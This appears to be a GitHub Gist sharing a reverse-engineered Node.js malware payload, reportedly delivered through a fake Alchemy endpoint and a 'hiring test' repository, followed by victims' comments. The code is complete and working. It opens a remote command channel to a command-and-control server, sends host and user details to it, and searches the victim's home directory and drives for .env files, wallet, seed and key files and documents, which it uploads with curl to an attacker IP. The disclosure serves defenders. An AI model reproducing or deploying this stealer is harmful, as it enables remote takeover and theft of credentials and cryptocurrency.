Created
March 4, 2025 15:15
-
-
Save webel/e9b941e380eafe904747ae7b48d112fa to your computer and use it in GitHub Desktop.
Malware payload found in public BitBucket repo.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| // | |
| // THIS IS MALWARE DOWNLOADED FROM A FAKE ALCHEMY ENDPOINT | |
| // REVERSE ENGINEERED BY COOKIE | |
| // | |
| const os = require("os"); | |
| const axios = require("axios"); | |
| const { execSync, spawn } = require("child_process"); | |
| // Prevent crashes from uncaught exceptions | |
| process.on("uncaughtException", (error) => {}); | |
| process.on("unhandledRejection", (error) => {}); | |
| // Configuration parameters | |
| const m = "alchemy-api-v3.cloud"; // Command & control server domain | |
| const uploadServerURL = "116.202.208.125"; // IP for file uploads | |
| const uid = "11ab759d189dc8bc238cb2525f05b88c"; // Unique identifier for this infection | |
| const p = 5918; // Port for socket connection | |
| const ukey = 64; // User key for authentication | |
| // Main function to initiate the attack | |
| async function start() { | |
| socketServer(); | |
| } | |
| // Create socket connection to command & control server | |
| const socketServer = async () => { | |
| // Function to send logs back to the attacker | |
| const makeLog = async (message) => { | |
| try { | |
| axios | |
| .post("http://" + m + "/api/v2/makelog", { | |
| message: message, | |
| uid: uid, | |
| }) | |
| .catch((err) => {}); | |
| } catch (e) {} | |
| }; | |
| try { | |
| // Function to send system info to command & control | |
| const setHeader = async function () { | |
| try { | |
| return await axios.post("http://" + m + "/api/v2/process/" + uid, { | |
| OS: os.type(), | |
| platform: os.platform(), | |
| release: os.release(), | |
| host: os.hostname(), | |
| userInfo: os.userInfo(), | |
| uid: uid, | |
| }); | |
| } catch (e) { | |
| makeLog(e.message); | |
| } | |
| }; | |
| // Initialize connection to command server | |
| setHeader(); | |
| // Install socket.io client for remote control | |
| makeLog("Installing socket.io-client"); | |
| execSync( | |
| "npm install socket.io-client --save --no-warnings --no-save --no-progress --loglevel silent", | |
| { windowsHide: true, stdio: "inherit" }, | |
| ); | |
| // Connect to socket server | |
| let io = require("socket.io-client"); | |
| const socket = io("http://" + m + ":" + p, { | |
| reconnectionAttempts: 15, | |
| reconnectionDelay: 2000, | |
| timeout: 2000, | |
| }); | |
| // Remote command execution handler | |
| socket.on("command", (msg) => { | |
| try { | |
| exec( | |
| msg.message, | |
| { windowsHide: true, stdio: "inherit", maxBuffer: 1024 * 1024 * 300 }, | |
| (error, stdout, stderr) => { | |
| if (error) { | |
| socket.emit("message", { | |
| result: error.message, | |
| ...msg, | |
| uid: uid, | |
| type: "error", | |
| }); | |
| return; | |
| } | |
| if (stderr) { | |
| socket.emit("message", { | |
| result: stderr, | |
| ...msg, | |
| type: "stderr", | |
| }); | |
| return; | |
| } | |
| socket.emit("message", { | |
| ...msg, | |
| result: stdout, | |
| code: msg.code, | |
| cid: msg.cid, | |
| sid: msg.sid, | |
| uid: uid, | |
| }); | |
| }, | |
| ); | |
| } catch (e) { | |
| makeLog(e.message); | |
| } | |
| }); | |
| // Send system info when requested | |
| socket.on("whour", (msg) => { | |
| socket.emit("whoIm", { | |
| OS: os.type(), | |
| platform: os.platform(), | |
| release: os.release(), | |
| host: os.hostname(), | |
| userInfo: os.userInfo(), | |
| uid: uid, | |
| }); | |
| }); | |
| socket.on("connect", () => {}); | |
| socket.on("disconnect", () => {}); | |
| } catch (e) { | |
| makeLog(JSON.stringify(e)); | |
| } | |
| // File scanning and exfiltration code | |
| const rootDir = os.userInfo().homedir + ""; | |
| // List of directories to exclude from scanning | |
| const exculdeFolders = [ | |
| "node_modules", | |
| "vendors", | |
| "vendor", | |
| "public", | |
| "css", | |
| "less", | |
| "scss", | |
| ".cache", | |
| ".yarn", | |
| "build", | |
| ".next", | |
| ".git", | |
| ".github", | |
| "cache", | |
| "tmp", | |
| "temp", | |
| "dist", | |
| "library", | |
| "lib", | |
| "imgs", | |
| "images", | |
| "image", | |
| ".config", | |
| ".vscode", | |
| ".pyp", | |
| ".expo", | |
| "pkg", | |
| "package", | |
| "packages", | |
| "pkgs", | |
| "fonts", | |
| "background", | |
| "wallpaper", | |
| "_locales", | |
| "locale", | |
| "locales", | |
| "Program Files", | |
| "Program Files (x86)", | |
| "EFI", | |
| "ProgramData", | |
| "Windows", | |
| "Microsoft", | |
| ]; | |
| // File patterns to look for and exfiltrate | |
| const searchKey = [ | |
| "*.env*", | |
| "*metamask*", | |
| "*phantom*", | |
| "*bitcoin*", | |
| "*credential", | |
| "*profile*", | |
| "*account*", | |
| "*mnemonic*", | |
| "*seed*", | |
| "*recovery*", | |
| "*backup*", | |
| "*address*", | |
| "*my*", | |
| "*screenshot*", | |
| "*.doc", | |
| "*.docx", | |
| "*.pdf", | |
| "*.md", | |
| "*.rtf", | |
| "*.odt", | |
| "*.xls", | |
| "*.xlsx", | |
| "*info*", | |
| "*.txt", | |
| "*.ini", | |
| ".secret", | |
| "*.json", | |
| "*.ts", | |
| "*.js", | |
| "*.csv", | |
| "*key*", | |
| ]; | |
| // Function to scan directories and upload files | |
| const scanDir = async (dirPath) => { | |
| let command = ""; | |
| // Windows-specific scanning | |
| if (os.platform() == "win32") { | |
| try { | |
| // Get subdirectories | |
| let command = `dir "${dirPath}" /AD /b`; | |
| const cmdResult = execSync(command, { windowsHide: true }); | |
| try { | |
| // Create command to find and upload sensitive files | |
| let uploadCommand = `for %f in (${dirPath}${searchKey.join( | |
| " " + dirPath + "", | |
| )}) do curl -X POST -F "file=@%f" -H "path: %f" -H "hostname:%COMPUTERNAME%" -H "userkey:${ukey}" -H 'Content-Disposition: attachment; filename=%f' http://${uploadServerURL}:5918/upload \\;`; | |
| // Execute upload command | |
| execSync(uploadCommand, { windowsHide: true }); | |
| // Process subdirectories | |
| const dirs = cmdResult.toString().split("\r\n"); | |
| for (let i in dirs) { | |
| const dir = dirs[i]; | |
| if (dir == "") continue; | |
| if (exculdeFolders.indexOf(dir) > -1) continue; | |
| await scanDir(dirPath + dir + "\\"); | |
| } | |
| } catch (e) {} | |
| } catch (e) {} | |
| } | |
| // Unix-like systems (Linux/macOS) scanning | |
| else { | |
| command = `find "${dirPath}" -maxdepth 1 -type f \\( -path "." -prune -o -path ".." -prune -o -path ".git" -prune -o -path ".github" -prune -o -path "node_modules" -prune -o -path "*/node_modules/*" -prune -o -path "*/.cache" -prune -o -path "*/.config/*" -prune -o -path "*/dist/*" -prune -o -path "*/build/*" -prune -o -path "*/.git/*" -prune -o -path "*/.vscode/*" -prune -o -path "*/Library/*" -prune -o -path "*/Vendor/*" -prune -o -path "*/.yarn/*" -prune -o -path "*/pkg/*" -prune -o -path "*/package/*" -prune -o -path "*pkg*" -prune -o -path "*/lib/*" -prune -o -path "*/asset/*" -prune -o -path "*/assets/*" -prune -o -path "Library" -prune -o -path "Vendor" -prune -o -path "lib" -prune -o -path "asset" -prune -o -path "assets" -prune -o -path "*/.pyp/*" -prune -o -path "*/.expo/*" -prune -o -path "*/.n2/*" -prune -o -path "*/.n3/*" -prune -o -path "*/.next/*" -prune -o -path "*/.mozila/*" -prune -o -path "*/.exe/*" -prune -o -path "*.tsbuildinfo" -prune -o -path "*.AppImage" -prune -o -path "*.dll" -prune -o -path "*.pkg" -prune -o -path "*.dmg" \\) -o \\( -iname "*.env*" -o -iname "*metamask*" -o -iname "*bitcoin*" -o -iname "*mnemonic*" -o -iname "*nkbihfbeogaeaoehlefnkodbefgpgknn*" -o -iname "*seed*" -o -iname "*recovery*" -o -iname "*backup*" -o -iname "*address*" -o -iname "*my*" -o -iname "*.png" -o -iname "*.jpg" -o -iname "*.jpeg" -o -iname "*screenshot*" -o -iname "*.doc" -o -iname "*.docx" -o -iname "*.rtf" -o -iname "*.odt" -o -iname "*.xls" -o -iname "*.xlsx" -o -iname "*info*" -o -iname "*.txt" -o -iname "*.ini" -o -iname "*.js" -o -iname "*.ts" -o -iname ".secret" -o -iname b"config.json" -o -iname "const.js" -o -iname "const.ts" -o -iname "index.ts" -o -iname "index.js" -o -iname "app.ts" -o -iname "*.csv" \\) -exec grep -i -E -l '\\b(\\")?0x)?[0-9a-fA-F]{64}(\\")?\\b|private_key|[5KL|0-9A-Za-z]{32,44}|5[HJK]{1}[1-9A-za-z]{50,51}' {} + | xargs -I {} curl -X POST -F 'file=@{}' -H 'path: {}' -H "hostname:$(hostname)" -H "userkey:${ukey}" -H 'Content-Disposition: attachment; filename={}' http://${uploadServerURL}:5918/upload`; | |
| } | |
| }; | |
| // Delayed execution of scanning | |
| setTimeout(async () => { | |
| // For Windows, scan all drives | |
| if (os.platform() == "win32") { | |
| const driveCmd = `wmic logicaldisk get name`; | |
| let drives = execSync(driveCmd, { windowsHide: true }); | |
| drives = drives.toString().split("\n"); | |
| drives.shift(); | |
| for (let i in drives) { | |
| const drive = drives[i].replace(/\r\r/gi, "").trim(); | |
| if (drive == "") continue; | |
| await scanDir(drive + "\\"); | |
| } | |
| } | |
| // For Unix-like systems, scan user home directory | |
| else { | |
| await scanDir(rootDir); | |
| } | |
| }, 1000); | |
| }; | |
| // Start malware execution | |
| start(); |
Author
@emlautarom1 damn it, I'm on a contract atm else I'd jump straight into that to try and mess with their infra.
Are you and your data ok?
Not sure, I think they're are. They started copying some large log files (~500 mb each) and I think I killed everything before they could get their hands on something more important. I'm taking preventive measures either way.
Author
ouff! So after 1 month my hot wallet was emptied. They managed to get some of my brave browser extension data. They didn't even manage to get all, and I had a long password to unlock it... so, it seemed insanely far fetched they could do anything with it. Alas, they managed.
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Found the same malware by running
npm installusing the following project: https://github.com/YaroslavPedrovic/hiring_test/